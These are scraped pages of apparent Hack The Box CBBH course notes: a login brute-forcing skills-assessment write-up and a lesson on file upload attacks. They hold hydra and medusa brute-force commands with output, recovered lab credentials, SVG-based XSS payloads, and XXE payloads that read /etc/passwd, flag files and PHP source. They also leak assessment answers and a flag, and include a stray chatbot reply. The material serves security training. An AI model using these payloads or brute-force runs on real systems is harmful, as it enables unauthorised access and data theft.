files**](https://academy.hackthebox.com/beta/module/58/section/696#data-logged-to-text-files) `Log Message:` * "fetched data logged to text files under '/home/user/.sqlmap/output/[www.example.com](http://www.example.com/) '" This indicates the local file system location used for storing all logs, sessions, and output data for a specific target - in this case, `www.example.com`. After such an initial run, where the injection point is successfully detected, all details for future runs are stored inside the same directory's session files. This means that SQLMap tries to reduce the required target requests as much as possible, depending on the session files' data. [PreviousGetting Started with SQLMap](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/getting-started-with-sqlmap) [NextBuilding Attacks](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks) Last updated 9 months ago --- # Re Walk + Write Up | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up.md) . Skills Assessment Part 1[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#skills-assessment-part-1) --------------------------------------------------------------------------------------------------------------------------------------------------------- ### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#question-1) #### "What is the password for the basic auth login?"[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#what-is-the-password-for-the-basic-auth-login) After spawning the target machine, students will download `top-usernames-shortlist.txt` and `2023-200_most_used_passwords.txt` wordlists: Code: shell Copy wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Usernames/top-usernames-shortlist.txt wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt Skills Assessment Part 1 Copy ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Usernames/top-usernames-shortlist.txt ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt Students will use `cURL` to send a GET request to the target and inspect the headers from the response, noticing the usage of basic authentication indicated in the [WWW-Authenticate](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/WWW-Authenticate) header: Code: shell Copy curl -I http://STMIP:STMPO Skills Assessment Part 1 Subsequently, students will use `hydra` to perform brute-forcing using the `http-get` method and the downloaded wordlists to attain a valid username and password: Code: shell Skills Assessment Part 1 Answer: {hidden} Skills Assessment Part 1[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#skills-assessment-part-1-1) ----------------------------------------------------------------------------------------------------------------------------------------------------------- ### Question 2[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#question-2) #### "After successfully brute forcing the login, what is the username you have been given for the next part of the skills assessment?"[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#after-successfully-brute-forcing-the-login-what-is-the-username-you-have-been-given-for-the-next-par) Students will send a GET request using `cURL` and specify the found credentials (`admin:Admin123`) to attain the username between the `<span>` tag for the second part of the Skills Assessment: Code: shell Skills Assessment Part 1 Answer: {hidden} Skills Assessment Part 2[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#skills-assessment-part-2) --------------------------------------------------------------------------------------------------------------------------------------------------------- ### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#question-1-1) #### "What is the username of the ftp user you find via brute-forcing?"[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing) After spawning the target, students will download the `2023-200_most_used_passwords.txt` wordlist: Code: shell Skills Assessment Part 2 Subsequently, students will perform an SSH brute-force using the username `satwossh` and the wordlist with hydra to attain the password of the user: Code: shell Skills Assessment Part 2 Students will connect via SSH using the credentials `satwossh:password1`: Code: shell Skills Assessment Part 2 Subsequently, students will list the files in the current working directory, finding an `IncidentReport.txt` file holding information about a user (`Thomas Smith`): Code: shell Skills Assessment Part 2 Students will utilise `nmap` to scan the host locally and uncover the FTP service running on port `21`: Code: shell Skills Assessment Part 2 Students need to generate potential usernames for `Thomas Smith` using `username-anarchy`: Code: shell Skills Assessment Part 2 Subsequently, students will use `medusa` to perform an FTP brute-force using the previously generated username list and the password list located in the `/home/satwossh` directory to obtain valid credentials: Code: shell Skills Assessment Part 2 Answer: {hidden} Here is your clean, polished **Skills Assessment Part 1 Write-Up**, matching the style of the Part 2 write‑up I created earlier. If you want, I can combine **Part 1 + Part 2 into a single PDF**. * * * **Skills Assessment Part 1 – Write-Up**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#skills-assessment-part-1-write-up) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### **Question 1 – “What is the password for the basic auth login?”**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#question-1-what-is-the-password-for-the-basic-auth-login) To begin the assessment, I spawned the target machine and downloaded two wordlists that would be used for brute‑forcing Basic Authentication: * `top-usernames-shortlist.txt` * `2023-200_most_used_passwords.txt` #### **1\. Identifying Basic Authentication**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#id-1.-identifying-basic-authentication) To determine how the web server handled authentication, I inspected its HTTP response headers using `curl -I`: The response clearly indicated **HTTP Basic Authentication**, shown in the `WWW-Authenticate` header: #### **2\. Brute-Forcing Credentials with Hydra**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#id-2.-brute-forcing-credentials-with-hydra) Once confirmed, I launched a brute-force attack using Hydra’s `http-get` module: Hydra returned valid credentials: #### **✔ Answer to Question 1:**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#answer-to-question-1) `**{hidden}**` * * * ### **Question 2 – “After successfully brute forcing the login, what is the username you have been given for the next part of the skills assessment?”**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#question-2-after-successfully-brute-forcing-the-login-what-is-the-username-you-have-been-given-for-t) With valid Basic Auth credentials (`admin:{hidden}`), I authenticated to the web service using curl: The HTML response included a message revealing the username required for **Part 2** of the Skills Assessment. It appeared inside a `<span class="flag">` tag: #### **✔ Answer to Question 2:**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#answer-to-question-2) `**{hidden}**` * * * If you want, I can: ✅ Combine **Part 1 + Part 2** into a **single professional PDF** or ✅ Format them as a **report**, **HTB-style notes**, or **markdown chapter** Just tell me **“make the PDF”** or how you want it styled. [PreviousSkills Assessment 1](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1) [NextSkills Assessment 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2) Last updated 8 months ago * [Skills Assessment Part 1](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#skills-assessment-part-1) * [Question 1](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#question-1) * [Skills Assessment Part 1](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#skills-assessment-part-1-1) * [Question 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#question-2) * [Skills Assessment Part 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#skills-assessment-part-2) * [Question 1](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#question-1-1) * [Skills Assessment Part 1 – Write-Up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#skills-assessment-part-1-write-up) * [Question 1 – “What is the password for the basic auth login?”](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#question-1-what-is-the-password-for-the-basic-auth-login) * [Question 2 – “After successfully brute forcing the login, what is the username you have been given for the next part of the skills assessment?”](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up#question-2-after-successfully-brute-forcing-the-login-what-is-the-username-you-have-been-given-for-t) Copy ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ curl -I http://83.136.254.158:35620 HTTP/1.1 401 Unauthorized Server: nginx/1.27.1 Date: Mon, 30 Sep 2024 11:23:29 GMT Content-Type: text/html Content-Length: 179 Connection: keep-alive WWW-Authenticate: Basic realm="Restricted" Copy hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt STMIP http-get / -s STMPO Copy ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt 83.136.254.158 http-get / -s 35620 Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-30 06:25:33 [DATA] max 16 tasks per 1 server, overall 16 tasks, 3400 login tries (l:17/p:200), ~213 tries per task [DATA] attacking http-get://83.136.254.158:35620/ [35620][http-get] host: 83.136.254.158 login: admin password: {hidden} 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-30 06:26:01 Copy curl http://STMIP:STMPO -u "admin:Admin123" | tail Copy ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ curl http://83.136.254.158:35620 -u "admin:Admin123" | tail % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 951 100 951 0 0 27649 0 --:--:-- --:--:-- --:--:-- 27970 } </style> </head> <body> <h1>Congratulations!</h1> <p>This is the username you will need for part 2 of the Skills Assessment<span class="flag">{hidden}</span></p> </body> </html> Copy wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt Copy ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt Copy hydra -l satwossh -P 2023-200_most_used_passwords.txt ssh://STMIP:STMPO Copy ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ hydra -l satwossh -P 2023-200_most_used_passwords.txt ssh://94.237.56.229:39400 Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-30 06:33:20 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task [DATA] attacking ssh://94.237.56.229:39400/ [39400][ssh] host: 94.237.56.229 login: satwossh password: password1 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 2 final worker threads did not complete until end. [ERROR] 2 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-30 06:34:26 Copy ssh satwossh@STMIP -p STMPO Copy ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ ssh satwossh@94.237.56.229 -p 39400 The authenticity of host '[94.237.56.229]:39400 ([94.237.56.229]:39400)' can't be established. ED25519 key fingerprint is SHA256:0ldLAJLTwIrE2wupFhvN1WiHuimct7AF+pBddY5xIi8. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:1: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[94.237.56.229]:39400' (ED25519) to the list of known hosts. satwossh@94.237.56.229's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.1.0-10-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. -bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8) satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ Copy ls cat IncidentReport.txt Copy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ ls IncidentReport.txt passwords.txt username-anarchy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ cat IncidentReport.txt System Logs - Security Report Date: 2024-09-06 Upon reviewing recent FTP activity, we have identified suspicious behavior linked to a specific user. The user **Thomas Smith** has been regularly uploading files to the server during unusual hours and has bypassed multiple security protocols. This activity requires immediate investigation. All logs point towards Thomas Smith being the FTP user responsible for recent questionable transfers. We advise closely monitoring this user’s actions and reviewing any files uploaded to the FTP server. Security Operations Team Copy nmap localhost Copy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ nmap localhost Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-30 11:37 UTC Nmap scan report for localhost (127.0.0.1) Host is up (0.00011s latency). Other addresses for localhost (not scanned): ::1 Not shown: 998 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh Copy ./username-anarchy/username-anarchy Thomas Smith > thomas_smith.txt Copy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ ./username-anarchy/username-anarchy Thomas Smith > thomas_smith.txt Copy medusa -h 127.0.0.1 -U thomas_smith.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND" Copy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ medusa -h 127.0.0.1 -U thomas_smith.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND" ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: {hidden} Password: chocolate! [SUCCESS] Copy wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Usernames/top-usernames-shortlist.txt wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt Copy curl -I http://83.136.254.158:35620 Copy WWW-Authenticate: Basic realm="Restricted" Copy hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt 83.136.254.158 http-get / -s 35620 Copy login: admin password: {hidden} Copy curl http://83.136.254.158:35620 -u "admin:{hidden}" | tail Copy <p>This is the username you will need for part 2 of the Skills Assessment <span class="flag">{hidden}</span> </p> --- # Limited File Uploads | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads.md) . * * * So far, we have been mainly dealing with filter bypasses to obtain arbitrary file uploads through a vulnerable web application, which is the main focus of this module at this level. While file upload forms with weak filters can be exploited to upload arbitrary files, some upload forms have secure filters that may not be exploitable with the techniques we discussed. However, even if we are dealing with a limited (i.e., non-arbitrary) file upload form, which only allows us to upload specific file types, we may still be able to perform some attacks on the web application. Certain file types, like `SVG`, `HTML`, `XML`, and even some image and document files, may allow us to introduce new vulnerabilities to the web application by uploading malicious versions of these files. This is why fuzzing allowed file extensions is an important exercise for any file upload attack. It enables us to explore what attacks may be achievable on the web server. So, let's explore some of these attacks. * * * ### XSS[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#xss) Many file types may allow us to introduce a `Stored XSS` vulnerability to the web application by uploading maliciously crafted versions of them. The most basic example is when a web application allows us to upload `HTML` files. Although HTML files won't allow us to execute code (e.g., PHP), it would still be possible to implement JavaScript code within them to carry an XSS or CSRF attack on whoever visits the uploaded HTML page. If the target sees a link from a website they trust, and the website is vulnerable to uploading HTML documents, it may be possible to trick them into visiting the link and carry the attack on their machines. Another example of XSS attacks is web applications that display an image's metadata after its upload. For such web applications, we can include an XSS payload in one of the Metadata parameters that accept raw text, like the `Comment` or `Artist` parameters, as follows: Copy [!bash!]$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg [!bash!]$ exiftool HTB.jpg ...SNIP... Comment : "><img src=1 onerror=alert(window.origin)> We can see that the `Comment` parameter was updated to our XSS payload. When the image's metadata is displayed, the XSS payload should be triggered, and the JavaScript code will be executed to carry the XSS attack. Furthermore, if we change the image's MIME-Type to `text/html`, some web applications may show it as an HTML document instead of an image, in which case the XSS payload would be triggered even if the metadata wasn't directly displayed. Finally, XSS attacks can also be carried with `SVG` images, along with several other attacks. `Scalable Vector Graphics (SVG)` images are XML-based, and they describe 2D vector graphics, which the browser renders into an image. For this reason, we can modify their XML data to include an XSS payload. For example, we can write the following to `HTB.svg`: Copy <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1"> <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" /> <script type="text/javascript">alert(window.origin);</script> </svg> Once we upload the image to the web application, the XSS payload will be triggered whenever the image is displayed. For more about XSS, you may refer to the [Cross-Site Scripting (XSS)](https://academy.hackthebox.com/module/details/103) module. #### Exercise: Try the above attacks with the exercise at the end of this section, and see whether the XSS payload gets triggered and displays the alert.[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#exercise-try-the-above-attacks-with-the-exercise-at-the-end-of-this-section-and-see-whether-the-xss) #### Local Setup[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#local-setup) Try to upload this to the target and had success ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FlL1bYAOmr6iJbaKCsEbW%252Fimage.png%3Falt%3Dmedia%26token%3Da5d4e8c5-66b6-4996-8fee-c76eccd4218d&width=768&dpr=3&quality=100&sign=d23c6f19&sv=2) * * * ### XXE[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#xxe) Similar attacks can be carried to lead to XXE exploitation. With SVG images, we can also include malicious XML data to leak the source code of the web application, and other internal documents within the server. The following example can be used for an SVG image that leaks the content of (`/etc/passwd`): Once the above SVG image is uploaded and viewed, the XML document would get processed, and we should get the info of (`/etc/passwd`) printed on the page or shown in the page source. Similarly, if the web application allows the upload of `XML` documents, then the same payload can carry the same attack when the XML data is displayed on the web application. While reading systems files like `/etc/passwd` can be very useful for server enumeration, it can have an even more significant benefit for web penetration testing, as it allows us to read the web application's source files. Access to the source code will enable us to find more vulnerabilities to exploit within the web application through Whitebox Penetration Testing. For File Upload exploitation, it may allow us to `locate the upload directory, identify allowed extensions, or find the file naming scheme`, which may become handy for further exploitation. #### Local Setup[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#local-setup-1) Reviewing the source code Reveals that the attack worked ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FZyS30GmM3oJSlU4tSvSG%252Fimage.png%3Falt%3Dmedia%26token%3D836bda7c-02cd-4e7c-bff3-74985a602c62&width=768&dpr=3&quality=100&sign=ff4e1239&sv=2) To use XXE to read source code in PHP web applications, we can use the following payload in our SVG image: Once the SVG image is displayed, we should get the base64 encoded content of `index.php`, which we can decode to read the source code. For more about XXE, you may refer to the [Web Attacks](https://academy.hackthebox.com/module/details/134) module. Using XML data is not unique to SVG images, as it is also utilized by many types of documents, like `PDF`, `Word Documents`, `PowerPoint Documents`, among many others. All of these documents include XML data within them to specify their format and structure. Suppose a web application used a document viewer that is vulnerable to XXE and allowed uploading any of these documents. In that case, we may also modify their XML data to include the malicious XXE elements, and we would be able to carry a blind XXE attack on the back-end web server. Another similar attack that is also achievable through these file types is an SSRF attack. We may utilize the XXE vulnerability to enumerate the internally available services or even call private APIs to perform private actions. For more about SSRF, you may refer to the [Server-side Attacks](https://academy.hackthebox.com/module/details/145) module. * * * ### DoS[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#dos) Finally, many file upload vulnerabilities may lead to a `Denial of Service (DOS)` attack on the web server. For example, we can use the previous XXE payloads to achieve DoS attacks, as discussed in the [Web Attacks](https://academy.hackthebox.com/module/details/134) module. Furthermore, we can utilize a `Decompression Bomb` with file types that use data compression, like `ZIP` archives. If a web application automatically unzips a ZIP archive, it is possible to upload a malicious archive containing nested ZIP archives within it, which can eventually lead to many Petabytes of data, resulting in a crash on the back-end server. Another possible DoS attack is a `Pixel Flood` attack with some image files that utilize image compression, like `JPG` or `PNG`. We can create any `JPG` image file with any image size (e.g. `500x500`), and then manually modify its compression data to say it has a size of (`0xffff x 0xffff`), which results in an image with a perceived size of 4 Gigapixels. When the web application attempts to display the image, it will attempt to allocate all of its memory to this image, resulting in a crash on the back-end server. In addition to these attacks, we may try a few other methods to cause a DoS on the back-end server. One way is uploading an overly large file, as some upload forms may not limit the upload file size or check for it before uploading it, which may fill up the server's hard drive and cause it to crash or slow down considerably. If the upload function is vulnerable to directory traversal, we may also attempt uploading files to a different directory (e.g. `../../../etc/passwd`), which may also cause the server to crash. `Try to search for other examples of DOS attacks through a vulnerable file upload functionality`. ### **Questions**[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#questions) #### The above exercise contains an upload functionality that should be secure against arbitrary file uploads. Try to exploit it using one of the attacks shown in this section to read "/flag.txt"[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#the-above-exercise-contains-an-upload-functionality-that-should-be-secure-against-arbitrary-file-upl) You can utilize the XXE attack to achieve the flag. Here is the payload Now try uploading this payload and viewing the source code ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F1Kkm8pnG1Z8QQSEopTwj%252Fimage.png%3Falt%3Dmedia%26token%3Dddb4243e-365b-43ad-9e0e-61924320d6e5&width=768&dpr=3&quality=100&sign=c4803ea8&sv=2) or curl the endpoint A: HTB{my\_1m4635\_4r3\_l37h4l} #### Try to read the source code of 'upload.php' to identify the uploads directory, and use its name as the answer. (write it exactly as found in the source, without quotes)[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#try-to-read-the-source-code-of-upload.php-to-identify-the-uploads-directory-and-use-its-name-as-the) Once uploading the svg you can view page source ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FxJTjTbuiAAdWCONClpyW%252Fimage.png%3Falt%3Dmedia%26token%3Ddb69825c-3777-4c95-aebe-a87ec24a57f7&width=768&dpr=3&quality=100&sign=8317f435&sv=2) You can take the base64 encoded response and take it to an online decode or chatgpt I like this one [https://www.base64decode.org/](https://www.base64decode.org/) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FTP9FDgzJpj03qUVB2Npu%252Fimage.png%3Falt%3Dmedia%26token%3D64c0bd32-7331-4e8b-ac36-c521504cb6bf&width=768&dpr=3&quality=100&sign=e6c26de3&sv=2) A: /.images/ #### Python Automation[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#python-automation) This is a mostly done script, it grabs the flag and retrived the source code ina a basw 64 response, just needs to be decoded #### Response[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#response) Now to automate retrieving encoding you can use this script Response: [PreviousOther Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks) [NextOther Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks) Last updated 9 months ago * [XSS](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#xss) * [XXE](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#xxe) * [DoS](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#dos) * [Questions](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads#questions) Copy ┌─[us-academy-3]─[10.10.14.129]─[htb-ac-1067736@htb-9vdt2fu85x]─[~] └──╼ [★]$ vim htb.svg ┌─[us-academy-3]─[10.10.14.129]─[htb-ac-1067736@htb-9vdt2fu85x]─[~] └──╼ [★]$ cat htb.svg <!-- XSS Payload --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1"> <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" /> <script type="text/javascript">alert(window.origin);</script> </svg> Copy <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg>&xxe;</svg> Copy ┌─[us-academy-3]─[10.10.14.129]─[htb-ac-1067736@htb-9vdt2fu85x]─[~] └──╼ [★]$ cat htb_xxe.svg <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg>&xxe;</svg> Copy <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> <svg>&xxe;</svg> Copy ┌─[us-academy-3]─[10.10.14.129]─[htb-ac-1067736@htb-9vdt2fu85x]─[~] └──╼ [★]$ vim htb_xxe_flag.svg ┌─[us-academy-3]─[10.10.14.129]─[htb-ac-1067736@htb-9vdt2fu85x]─[~] └──╼ [★]$ cat htb_xxe_flag.svg <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <svg>&xxe;</svg> Copy ┌─[us-academy-3]─[10.10.14.129]─[htb-ac-1067736@htb-9vdt2fu85x]─[~] └──╼ [★]$ curl http://83.136.251.67:44086/ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Employee File Manager</title> <link rel="stylesheet" href="./style.css"> </head> <body> <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> <script src="./script.js"></script> <div> <h1>Update your logo</h1> <center> <form action="upload.php" method="POST" enctype="multipart/form-data" id="uploadForm"> <input type="file" name="uploadFile" id="uploadFile" accept=".svg"> <svg>HTB{my_1m4635_4r3_l37h4l} </svg> <input type="submit" value="Upload" id="submit"> </form> </center> </div> </body> </html> Copy ┌─[us-academy-3]─[10.10.14.129]─[htb-ac-1067736@htb-9vdt2fu85x]─[~] └──╼ [★]$ vim 